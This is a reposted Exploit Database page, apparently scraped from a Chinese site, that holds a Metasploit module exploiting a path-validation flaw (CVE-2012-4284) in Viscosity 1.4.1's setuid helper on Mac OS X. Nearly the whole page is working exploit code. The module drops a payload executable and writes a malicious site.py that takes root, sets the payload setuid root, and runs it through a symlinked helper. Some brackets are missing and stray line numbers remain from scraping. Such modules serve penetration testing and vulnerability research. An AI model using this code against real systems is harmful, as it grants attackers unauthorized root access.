Viscosity – setuid-set ViscosityHelper Privilege Escalation (Metasploit)

Exploit Database
150 阅读

作者： Metasploit

日期： 2013-03-05
类别：
- local
平台：
- osx
来源：https://www.exploit-db.com/exploits/24579/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# web site for more information on licensing and terms of use.

# http://metasploit.com/

require 'msf/core'

require 'rex'

require 'msf/core/post/common'

require 'msf/core/post/file'

require 'msf/core/exploit/exe'

class Metasploit4 < Msf::Exploit::Local

Rank = ExcellentRanking

include Msf::Exploit::EXE

include Msf::Post::File

include Msf::Post::Common

def initialize(info={})

super( update_info( info, {

'Name' => 'Viscosity setuid-set ViscosityHelper Privilege Escalation',

'Description'=> %q{

This module exploits a vulnerability in Viscosity 1.4.1 on Mac OS X. The

vulnerability exists in the setuid ViscosityHelper, where an insufficient

validation of path names allows execution of arbitrary python code as root.

This module has been tested successfully on Viscosity 1.4.1 over Mac OS X

10.7.5.

'References' =>

[

[ 'CVE', '2012-4284' ],

[ 'OSVDB', '84709' ],

[ 'EDB', '20485' ],

[ 'URL', 'http://blog.zx2c4.com/791' ]

'License'=> MSF_LICENSE,

'Author' =>

[

'Jason A. Donenfeld', # Vulnerability discovery and original Exploit

'juan vazquez'# Metasploit module

'DisclosureDate' => 'Aug 12 2012',

'Platform' => 'osx',

'Arch' => [ ARCH_X86, ARCH_X64 ],

'SessionTypes' => [ 'shell' ],

'Targets'=>

[

[ 'Viscosity 1.4.1 / Mac OS X x86',{ 'Arch' => ARCH_X86 } ],

[ 'Viscosity 1.4.1 / Mac OS X x64',{ 'Arch' => ARCH_X64 } ]

'DefaultOptions' => { "PrependSetresuid" => true, "WfsDelay" => 2 },

'DefaultTarget' => 0

}))

register_options([

# These are not OptPath becuase it's a *remote* path

OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]),

OptString.new("Viscosity", [ true, "Path to setuid ViscosityHelper executable", "/Applications/Viscosity.app/Contents/Resources/ViscosityHelper" ])

], self.class)

end

def check

if not file?(datastore["Viscosity"])

print_error "ViscosityHelper not found"

return CheckCode::Safe

end

check = session.shell_command_token("find#{datastore["Viscosity"]} -type f -user root -perm -4000")

if check =~ /ViscosityHelper/

return CheckCode::Vulnerable

end

return CheckCode::Safe

end

def clean

file_rm(@link)

file_rm(@python_file)

file_rm("#{@python_file}c")

file_rm(@exe_file)

end

def exploit

exe_name = rand_text_alpha(8)

@exe_file = "#{datastore["WritableDir"]}/#{exe_name}"

print_status("Dropping executable #{@exe_file}")

write_file(@exe_file, generate_payload_exe)

evil_python =<<-EOF

import os

os.setuid(0)

os.setgid(0)

os.system("chown root #{@exe_file}")

os.system("chmod 6777 #{@exe_file}")

os.execl("#{@exe_file}", "#{exe_name}")

EOF

@python_file = "#{datastore["WritableDir"]}/site.py"

print_status("Dropping python #{@python_file}...")

write_file(@python_file, evil_python)

print_status("Creating symlink...")

link_name = rand_text_alpha(8)

@link = "#{datastore["WritableDir"]}/#{link_name}"

cmd_exec "ln -s -f -v #{datastore["Viscosity"]} #{@link}"

print_status("Running...")

begin

cmd_exec "#{@link}"

rescue

print_error("Failed. Cleaning files #{@link}, #{@python_file}, #{@python_file}c and #{@exe_file}...")

clean

return

end

print_warning("Remember to clean files: #{@link}, #{@python_file}, #{@python_file}c and #{@exe_file}")

end